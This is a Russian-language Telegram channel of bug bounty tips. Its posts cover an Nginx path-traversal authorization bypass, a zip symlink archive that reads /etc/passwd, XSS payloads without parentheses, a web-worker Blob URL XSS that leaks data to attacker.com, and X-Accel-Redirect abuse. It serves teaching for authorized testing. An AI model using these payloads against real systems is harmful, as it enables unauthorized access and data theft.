Standoff Bug Bounty Tips
1.59K subscribers
241 photos
76 links
Download Telegram
🥷🏿 Path Traversal в Nginx: байпас авторизации через $request_uri

Представь — у тебя есть валидный JWT, но только права обычного юзера. А что если одним HTTP-запросом получить админские права? Или вообще обойтись без токена там, где он нужен?

💡 Идеальные условия

▪️API с микросервисной архитектурой
▪️Kubernetes + Nginx ingress (Kong, Apache APISIX, F5 NGINX)
▪️URL вида api.example.com/service-name/endpoint или api.example.com/customer-service, а не user.example.com или customer.example.com
▪️Централизованная аутентификация/авторизация (например, JWT проверяется именно на ingress, а не каждым сервисом)

⤵️ Пошаговый гайд

1. Проверяем архитектуру — ищем Nginx в ошибках, отправив запрос к несуществующему сервису:

curl --path-as-is https://api.example.com/sdalksjdeiu1/customer-serivice/endpoint1


2. Тестируем нормализацию ../ и ..%2F:
curl --path-as-is https://api.example.com/sdalksjdeiu1/../customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%2F/customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%252Fcustomer-serivice/endpoint1


3. Находим публичный сервис:
▪️Ищем эндпоинты без аутентификации
▪️Обычно это /health, /status, /public-api

4. Эксплуатируем:

4.1. Возьми рабочий запрос к защищенному сервису, например /protected-service/protected?a=1 и измени на /public-service/..%2Fprotected-service/protected?a=1, но отправь его без токена.

4.2. Сделайте токен недействительным и отправь запрос из п. 4.1.

4.3. Подожди и сделай токен просроченным и отправь запрос из пункта 4.1.

👉 Что важно помнить

▪️Если авторизация децентрализована (каждый сервис сам решает, пускать ли), уязвимость не сработает.

▪️Если всё централизовано и ingress ошибается в нормализации — шанс на баг есть.

🔥 Повышение привилегий

В приложении реализован централизованный контроль доступа, который проверяет, к какой группе/роли принадлежит юзер.

В этой ситуации попробуй следующие шаги:

2.1. Найди эндпоинт, к которому ты не можешь получить доступ.

2.2. Возьми действительный запрос с доказательством аутентификации (например, JWT).

2.3. Отправь запрос к эндпоинту из п. 2.1, но используя path traversal, описанный ранее.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥7🔥5😱2
🔍 Поиск багов в веб-приложениях black-box методом

При тестировании black-box методом ты не имеешь доступа к исходникам, не можешь увидеть, как работает тестируемая фича или как она обрабатывает входные данные. Поэтому необходимо ответить на несколько вопросов, включая:

▪️Какова цель фичи?
▪️Какие входные данные ожидаются?
▪️Какие типы данных поддерживаются?
▪️Какие технологии используются?
▪️Какие могут быть проблемы безопасности? И т. д.

💡 Основные техники тестирования

Существует множество методов black-box тестирования, и все они, по сути, преследуют одну и ту же главную цель: улучшить понимание фичи и/или вызвать неожиданное поведение. Последнее может включать:

▪️Покрытие кода
▪️Время процесса
▪️Сообщения об ошибках
▪️Проверки входных данных
▪️Сбои

1️⃣ Переходы состояний: анализ поведения системы при различных входных условиях

2️⃣ Фаззинг:

▪️Generation-based — генерация нового пэйлоада с нуля
▪️Mutation-based — модификация предыдущего пэйлоада

3️⃣ Угадывание ошибок: техника основана на опыте багхантера для создания тест-кейсов

4️⃣ Регрессионное тестирование: проверка функциональности после изменений в коде

🔥 Универсальный пэйлоад

<z>"z'z`%}})z${{z\


Его цель — инициирование общих ошибок, нарушения экранирования кавычек, ошибки шаблонизаторов, обнаружение XSS, инъекции форматирования и получение сообщений о некорректном вводе от целевой системы.

💬 А твоя главная цель — адаптировать пэйлоад к используемой в приложении технологии, чтобы увеличить вероятности возникновения непредвиденного поведения.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥115💯1
🚀 Как с помощью одного zip-файла прочитать файлы на сервере

Если в тестируемом приложении есть возможность загружать файлы (в том числе архивы), попробуй провести атаку через символическую ссылку.

Твоя задача — заархивировать файл, который является символической ссылкой. Символическая ссылка — это своего рода ярлык, который указывает на другой файл в файловой системе.

$ ln -s /etc/passwd test.txt
$ zip --symlinks test.zip test.txt


Если сервер примет и распакует такой архив, то при обращении к нему можно получить содержимое целевого файла:

https://domain.com/test.txt


💡 Дальше можно развить атаку — читать исходники и искать новые уязвимости уже в режиме белого ящика.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤‍🔥4🔥4
😵 Эксплуатация XSS через некорректный Content-Type

Обычно данные в формате JSON возвращаются с заголовком Content-Type: application/json, что указывает браузеру на структурированные данные. Браузеры в таком случае не пытаются интерпретировать JSON как HTML или JavaScript.

🚨 Проблема возникает, когда:

Сервер ошибочно устанавливает Content-Type: text/html (или другой неправильный тип)

В JSON-ответе содержится пользовательский ввод

Браузер обрабатывает ответ как HTML-страницу

⁉️ Как автоматизировать подобные кейсы?

Используй Burp Bambda для поиска JSON-ответов с некорректным Content-Type:

id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+

return !requestResponse.request().method().equals("OPTIONS");

var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;

if (contentType != null && !contentType.contains("application/json")) {
String body = requestResponse.response().bodyToString().trim();

return body.startsWith( "{" ) || body.startsWith( "[" );
}

return false;


P. S. Если ты не работал с Bambdas, то самое время наверстать упущенное. Эта фича представлена два года назад и позволяет кастомизировать Burp Suite прямо из пользовательского интерфейса с помощью небольших сниппетов Java-кода.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤‍🔥31👍1
💨 Воркфлоу по использованию сессий и макросов в Burp Suite

Макросы позволяют автоматически отправлять HTTP-запросы для поддержания состояния сессии или выполнять определенные действия перед основными запросами. Правила обработки сессий определяют, когда и как применять макросы к твоим запросам.

Когда использовать:

🟠Нужно поддерживать активную сессию во время тестирования
🟠Требуется выполнить подготовительные действия перед основным запросом
🟠Необходимо извлечь и переиспользовать динамические токены/параметры
🟠Автоматизация сложных многошаговых атак

Предположим, ты крутишь логическую багу, которая позволяет манипулировать рейтингом пользователя через лайки/дизлайки и может привести к блокировке аккаунта.

Шаг 1: подготовка запросов

Тебе понадобится три ключевых запроса:

1️⃣ Поставь лайк на любой пост/действие и выдели его зелёным цветом
2️⃣ Убери лайк и выдели его красным
3️⃣ Перейди в профиль (или на любую страницу форума) и выделите его синим

Шаг 2: Настройка макроса

4️⃣ Перейди в Project OptionsSessionsMacrosAdd
5️⃣ Выбери зелёный и красный запросы для включения в макрос
6️⃣ Проверь последовательность выполнения и сохрани макрос

Шаг 3: создание Session Handling Rule

7️⃣ В Session Handling RulesAdd создай новое правило
8️⃣ В Rule Actions выбери Run a macro и укажи созданный макрос
9️⃣ В Scope настрой применение правила к нужным инструментам (например, Intruder)

Шаг 4: запуск атаки

🔟 Отправь синий запрос в Intruder
1️⃣1️⃣ Выбери Null payloads и установи concurrent requests = 1
1️⃣2️⃣ Запусти атаку — теперь перед каждым запросом будет выполняться макрос лайк/дизлайк

Упрощенно воркфлоу сводится к двум простым шагам:

Используй цвета, чтобы выделить запросы для воспроизведения
Используй правила обработки сессий (и, возможно, макросы) для автоматизации взаимодействия
Please open Telegram to view this post
VIEW IN TELEGRAM
8
#️⃣ Специальные заголовки ответов Nginx

Nginx понимает несколько специальных заголовков от бэкенда при проксировании через proxy_pass. Пример — в конфиге выше ⤴️

Бэкенду требуется возможность (или уязвимость), позволяющая внедрять произвольные заголовки ответа. Это часто встречается при SSRF — когда запросы идут на сервер атакующего.

@app.route('/')
def index():
headers = json.loads(unquote(request.args.get("headers")))
return Response("Hello, world!", headers=headers)


Заголовок ответа X-Accel-Redirect перепишет URL и выполнит повторную оценку конфигурации — в результате будет возвращён ответ по новому пути.

Если установить его значение в /internal, то будет использован обработчик для location /internal, даже несмотря на то, что запрошенный путь остаётся /. Это позволяет обойти проверку internal;, что обычно было бы невозможно при удалённом обращении.

GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1


HTTP/1.1 200 OK
...

Internal


💡 Ещё несколько внутренних заголовков, которые можно использовать в комбинации с этим:

💚 X-Accel-Charset: задаёт charset в Content-Type

💚 X-Accel-Buffering: включает или отключает буферизацию ответа

💚 X-Accel-Limit-Rate: скорость (в байтах в секунду) передачи клиенту

💚 X-Accel-Expires: время истечения кеша для ответа
Please open Telegram to view this post
VIEW IN TELEGRAM
8🔥1
🤕 Эксплуатация XSS через веб-воркер с Blob-объектами

Один из пограничных кейсов XSS — пэйлоад, выполняющийся внутри веб-воркера. Веб-воркеры исполняют JS в том же origin, но в изолированной среде: они лишены доступа к DOM, window.open(), alert() и другим обычным window-API, которые доступны при классической XSS.

🚨 Доступные методы эксплуатации

1️⃣ Fetch API

fetch() в воркерах работает в том же origin, что и main window — значит с запросами отправляются куки, и при корректных CORS-заголовках можно читать ответы.

// Отравление кеша
fetch("https://example.com/script.js", {
headers: { "X-Forwarded-Host": `"-alert(origin)-"` },
cache: "reload"
});


2️⃣ postMessage

Воркеры могут отправлять сообщения в main window через postMessage(). Если окно получает данные и вставляет их в DOM или выполняет eval без валидации — это путь к эскалации в полноценную XSS.

// main window
const worker = new Worker("worker.js");
worker.addEventListener("message", (e) => {
alert(e.data); // потенциальная точка уязвимости
});

// worker.js
postMessage("Hello, world!");


3️⃣ IndexedDB

Единственное общее хранилище между воркером и основным окном — можно читать/изменять данные.

4️⃣ Отравление кэша service воркера

В WorkerGlobalScope доступен объект caches, общий для страницы и service воркера. Если использует кэш, воркер может перезаписать записи в cache storage — это дает вектор для XSS.

💨 Новая техника: Drag & Drop с Blob URL

Идея простая: создаешь HTML как Blob, получаешь для него blob:-URL (URL.createObjectURL(blob)), а затем заставляешь браузер открыть этот URL в обычном контексте (не в воркере).

blob:-URL имеет тот же origin, поэтому при открытии выполнится с доступом к DOM и localStorage.

Проблема: навигация на blob:-URL напрямую часто блокируется. Решение — «утечка» URL и интерактивный шаг пользователя:

const blob = new Blob(['<script>alert(origin)</script>'], {type: "text/html"});
const url = URL.createObjectURL(blob);


Процесс атаки:

1. В воркере создаешь Blob с финальным пейлоадом:

fetch("https://attacker.com/leak?" + new URLSearchParams({ url }));


2. Линкуешь этот blob:-URL наружу:

fetch("https://attacker.com/leak?" + new URLSearchParams({ url }))


3. Подготавливаешь подконтрольную страницу для drag & drop:

<a href="blob:https://example.com/...">Перетащи меня</a>
<script>
ondragstart = (e) => {
window.open("", "", "left=0,top=0,height=9999,width=9999");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", "blob:https://example.com/...");
}
</script>


⤵️ Результат

Когда пользователь перетаскивает элемент, открывается полноэкранное окно, и при отпускании мыши blob:-URL открывается в новой вкладке, выполняя XSS с доступом ко всем API. Работает как минимум в Chrome!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
6
🚀 Новое в арсенале багхантера: WebSocket Turbo Intruder для Burp

По сути: это Turbo Intruder, заточенный под WebSocket, плюс HTTP-middleware для автоматизации.

Зачем это нужно

🟡 WebSocket — не HTTP: один запрос ↔️ много входящих сообщений. Классические фазы ломаются.

🟡 WebSocket Turbo Intruder позволяет отправлять тысячи WebSocket-сообщений и фильтровать ответы, чтобы не утонуть в шуме.

🟡 Есть режим, который оборачивает WebSocket в HTTP — удобно для интеграции в CI/сканеры и Burp Pro.

Как поставить

ExtensionsBApp StoreWebSocket Turbo Intruder или CLI:
java -jar WebSocketFuzzer-2.0.0.jar <scriptFile> <requestFile> <endpoint> <baseInput>


Если ручной просмотр таблицы результатов не твой стиль, ты можешь обернуть WebSocket соединение внутри HTTP запроса, используя WebSocket Turbo Intruder HTTP Middleware.

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{"user":"You"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)


Теперь ты можешь отправлять HTTP POST запрос на localhost, где тело запроса обрабатывается как WebSocket сообщение. Это позволяет сканировать любой WebSocket с помощью Burp Suite Pro или другого автоматизированного сканера.

POST /proxy?url=https://example.com/endpoint HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}


Помимо обычных ошибок приложений, WebSockets создают свою уникальную поверхность для атак. Главная цель расширения — помочь тебе их найти и проэксплуатировать.

💡 Еще больше юзкейсов в анонсе PortSwigger
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
8👍3
💨 XSS через React createElement

Функция createElement() используется для создания React-элементов. Она принимает три параметра:

const element = createElement(type, props, ...children)


1⃣ type: может быть либо строкой с именем тега (т.е. div становится <div></div>), либо классом компонента, который будет вызван для построения элемента.

2⃣ props: может быть либо объектом, либо null. Пары ключ/значение в объекте будут присвоены создаваемому элементу как атрибуты, если type — строка с именем тега, или как свойства, если type — это класс компонента.

3⃣ ...children: дочерний узел (узлы) создаваемого элемента.

Если ты можешь передать ввод из источника в sink createElement() через один или несколько из этих параметров, он может влиять на генерацию HTML и достичь DOM XSS/CSS injection (в зависимости от версии).

Предполагая,что ты контролируешь десериализованный JSON или сериализованный HTML, которые передаются в createElement(), то параметры, которые ты можешь задать, определяют, чего ты можешь достичь ⬆️

Ресурсы:

Подробнее про эксплуатацию Script Injection Flaws в приложениях ReactJS

Статья Nick Bloor про эскалацию createElement-XSS до RCE в Electron-приложениях через CVE-2023-2033
Please open Telegram to view this post
VIEW IN TELEGRAM
6
🐞 Фикс проблемы с TLS в Burp Suite

По умолчанию JDK в Burp ограничивает размер TLS-рукопожатия до 32KB (параметр jdk.tls.maxHandshakeMessageSize). Это ломает перехват трафика у приложений с большими TLS Handshake сообщениями (обычно из-за длинной цепочки сертификатов).

💡 Для решения проблемы просто добавь параметр
-Djdk.tls.maxHandshakeMessageSize=65536


в файл .vmoptions Burp. Если файла нет — создай вручную и укажи путь через настройки запуска Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2
💨 Ускоряем поиск отраженных параметров в ответах веб-сервера

Tom Hudson славится своими тулзами, которые выполняют ровно одну фичу, но делают это максимально эффективно. kxss — одна из таких 🔥

Тулза помогает быстро выявлять отраженные параметры для поиска XSS, показывая, какие параметры в ответах сервера отражаются, и какие спецсимволы проходят фильтрацию.

💡 Общая идея

🟡 Принимать URL-адреса с параметрами через stdin (URL могут быть получены из waybackurls/сессии Burp/katana/URLFinder)

🟡 Отправлять запросы к этим URL-адресам и проверять тело ответа на наличие отраженных параметров (здесь будет много фолсов)

🟡 Для всех отраженных параметров повторно отправлять запросы с добавлением случайного буквенно-цифрового значения к параметру

🟡 Добавление происходит только к одному параметру за раз — это делается для того, чтобы не поломать запрос, если требуется другой параметр
Please open Telegram to view this post
VIEW IN TELEGRAM
7
Гайд по разведке внешнего периметра: от поиска IP-адресов до брутфорса поддоменов

В пентесте/багбаунти часто нет полного скоупа или дают wildcard (*.example.com). Тогда приходится искать самому — вот рабочий воркфлоу.


1️⃣ Поиск IP-адресов

Если у организации есть своя автономная система (AS):

🖤 WHOIS → берём origin / ASN по основному домену
🖤 Получаем подсети по ASN:

asnmap -asn AS51115 -silent 


2️⃣ Горизонтальный поиск доменов

🖤 Reverse DNS (PTR) по диапазонам:

echo "178.248.233.0/24" | dnsx -ptr -resp -o reverse_dns.txt


🖤 TLS / сертификаты (CN / SAN) — собираем домены из сертификатов на стандартных/нестандартных портах:

echo "178.248.233.0/24" | tlsx -p 443,3443,8443,9443,10443 -cn -san -o tlsx_result.txt


🖤 Reverse WHOIS — ищем домены, зарегистрированные на ту же организацию:

revwhoix -k "Positive Technologies, CJSC"


3️⃣ Вертикальный поиск поддоменов

🖤 Certificate Transparency / агрегаторы: crt.sh, subfinder, SecurityTrails, Chaos, IntelX и т.д.

subfinder -d standoff365.com -silent


🖤 Брутфорс поддоменов:

puredns bruteforce wordlist.txt standoff365.com -w subdomains_standoff365.com.txt


🖤 Генерация мутаций / перестановок из уже найденных поддоменов:

cat subdomains_standoff365.com.txt | alterx | dnsx -o alterx_resolved_subdomains_standoff365.com.txt


Создание словаря из найденных поддоменов часто приносит больше результатов, чем «слепой» общедоступный wordlist.

4⃣ Формирование итогового списка + фильтрация

🖤 Склеиваем результаты всех источников
🖤 Фильтруем: удаляем wildcard`ы, сторонние хосты, CDN-овский «шум»

P. S. Чем шире поверхность атаки, тем больше шансов обнаружить неожиданные сервисы, забытые поддомены и «тёмные углы» инфраструктуры.
Please open Telegram to view this post
VIEW IN TELEGRAM
17👍3
🤔 Эксплуатация XSS без скобок и точек с запятой

Главная цель — обход WAF, который блокирует типичные паттерны XSS.

Как это работает ⤵️

🔴 С помощью запятых можно объединить несколько выражений и вернуть последнее из них
🔴 Замена onerror на eval позволяет выполнить сообщение об ошибке как код
🔴 Вызванные ошибки станут частью сообщения об ошибке
🔴 Если тебе удалось преобразовать сообщение об ошибке в корректный код, значит, ты справился

➡️ Tagged Template Strings

Базовый прием — использование функции перед шаблонной строкой:

alert`test`


Более продвинутый вариант — создание функции из строки:

Function`alert\u00281\u0029` ``


Здесь скобки заменены на unicode-представление (\u0028 и \u0029).

Динамическое выполнение кода через hash:

Function`_${location.hash.slice`1`}` ``


➡️ Метод onerror + throw (Chrome)

Ключевая идея: подмена onerror на eval и создание валидного JS-кода из сообщения об ошибке:

onerror = eval
throw '=alert\x281\u0029'


Сообщение об ошибке в Chrome: Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).

Без точки с запятой (используя блок):

{onerror=alert}throw 1


Или через запятую:

throw onerror=alert,1


➡️ Метод для Firefox

В Firefox формат ошибок другой, поэтому используются объекты Error:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x


➡️ Продвинутые техники

Пейлоад через regexp и конкатенацию:

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]


Здесь:

🔴 a[12] и a[13] извлекают ( и ) из строки функции URL
🔴 /1/g — regexp, который в строке становится "/1/g"
🔴 Итоговое сообщение: Uncaught /1/g(1337,3331,117) — валидный код

Манипуляция с TypeError.prototype.name:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']


Изменяется имя TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).

💡 Пост вдохновлен несколькими исследованиями по теме:

✳️ Explaining XSS without parentheses and semi-colons
✳️ XSS technique without parentheses
✳️ XSS without parentheses and semi-colons
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥113
Поиск багов, связанных с различиями в интерпретации HTTP-запросов разными серверами и прокси 😵‍💫

Любишь исследовать и искать коллизии при обработке HTTP-запросов? Тогда HTTP Garden — то, что тебе нужно!

Тулза сравнивает, как разные HTTP-серверы и прокси интерпретируют одинаковые запросы. Это особенно полезно для обнаружения HTTP Request Smuggling и других багов ⤵️

1️⃣ Создай и запусти несколько серверов и прокси-серверов:

./garden.sh start --build gunicorn hyper nginx haproxy


2️⃣ Запусти repl:

./garden.sh repl


3️⃣ Отправь тестовый запрос через HAProxy к серверам Gunicorn, Hyper и Nginx и проанализируй, совпадают ли их интерпретации:

garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce haproxy | fanout | grid
...


Под капотом больше 35 известных веб- и 10 прокси-серверов + фичи для поиска артефактов в разных комбинациях серверов.
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥2🤔1
Как эффективно находить связанные данные в API ⁉️

Когда API возвращает значение, одна запись (например, заказ пользователя) может быть связана с другими записями. Ты можешь обнаружить эти связанные данные с использованием существующих эндпоинтов.

Ищи всё, что заканчивается на _id (user_id, order_id, product_id). Эти элементы являются внешними ключами, связанными с базой данных.

💡 Автоматизируй процесс с использованием правил поиска и замены в Burp:

В Proxy > Options > Match and Replace задай в поле Match шаблон, который захватывает слово перед _id (например, user из user_id).

Выбери тип запроса: Request First Line (для путей, например /user_id/123) или Request Param Name (для параметров, например ?user_id=123).

Настрой замену для создания множественного числа: в поле Replace добавь 's' к захваченному слову (например, user_id превратится в users).
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
Syntax Confusion: эксплуатация в дикой природе 🚨

Синтаксическая путаница возникает, когда два и более компонентов в системе по-разному интерпретируют один и тот же пользовательский ввод из-за неоднозначных или противоречивых правил синтаксиса.

Современные веб-приложения часто имеют цепочку парсеров: браузер нормализует ввод, CDN может его переписать, прокси пересылает дальше, фреймворк приложения парсит, а вспомогательные библиотеки интерпретируют заново.

Если на двух этапах ввод семантически «означает» разное, валидация, применённая на одном этапе, может перестать действовать на другом — и тогда от «санитизированного» ввода может остаться путь к эксплуатируемому поведению.

☝️ В языке программирования C определенные последовательности символов обрабатываются препроцессором и/или компилятором как один символ (digraphs и trigraphs). Python и Perl поддерживают экранирование Unicode-символов по именам символов.

Content-Disposition

Параметр filename заголовка Content-Disposition предлагает имена файлов для загружаемых или скачиваемых файлов:

HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="invoice.pdf"


POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="myfile.txt"
Content-Type: text/plain


Альтернативный синтаксис с * позволяет указать кодировку и использовать URL-кодирование:

Content-Disposition: form-data; name="file"; filename*=UTF8''myfile%0a.txt


Если система поддерживает filename*, ты можешь ввести управляющие символы или обойти ограничения на имена файлов — это открывает дорогу к перезаписи файлов и другим кейсам.

file URI и обход фильтров

Схема file URI обычно указывает на локальные файлы (file:///path/to/file), но также допускает указание хоста: file://<host>/<path>. Используя схему URI файла с указанием хоста, можно обойти фильтры или получить DNS-запросы для отслеживания рабочего процесса в целевом приложении.

🔗 The Minefield Between Syntaxes: Exploiting Syntax Confusions in the Wild
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11
Как эффективно находить Client/Server Side Template Injection 🎆

1️⃣ Разведка — сначала технологии

Прогоняй приложение через Wappalyzer/builtwith и смотри, какие рендереры/фреймворки используются в разных частях приложения. Чем больше «технологических слоёв» — тем выше шанс найти багу.

2️⃣ Ищи неочевидные части приложения

CSTI/SSTI часто прячутся в экзотичных вьюхах: часть интерфейса может рендериться иначе и допускать интерпретацию шаблонов, которая «обычным» путём не видна. Если инъекция работает в одной части — проверь остальные.

3️⃣ После инъекции думай про импакт

🟠CSTI → рассматривай способы получить session cookies, localStorage или другие данные для ATO

🟠SSTI → от RCE до вытаскивания секретов — думай масштабно

💡 Полезные инструменты и ресурсы

🟠SSTIMap, TInjA, tplmap
🟠Template Injection Research
🟠Evading defences using VueJS script gadgets
🟠The Template Injection Playground
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥2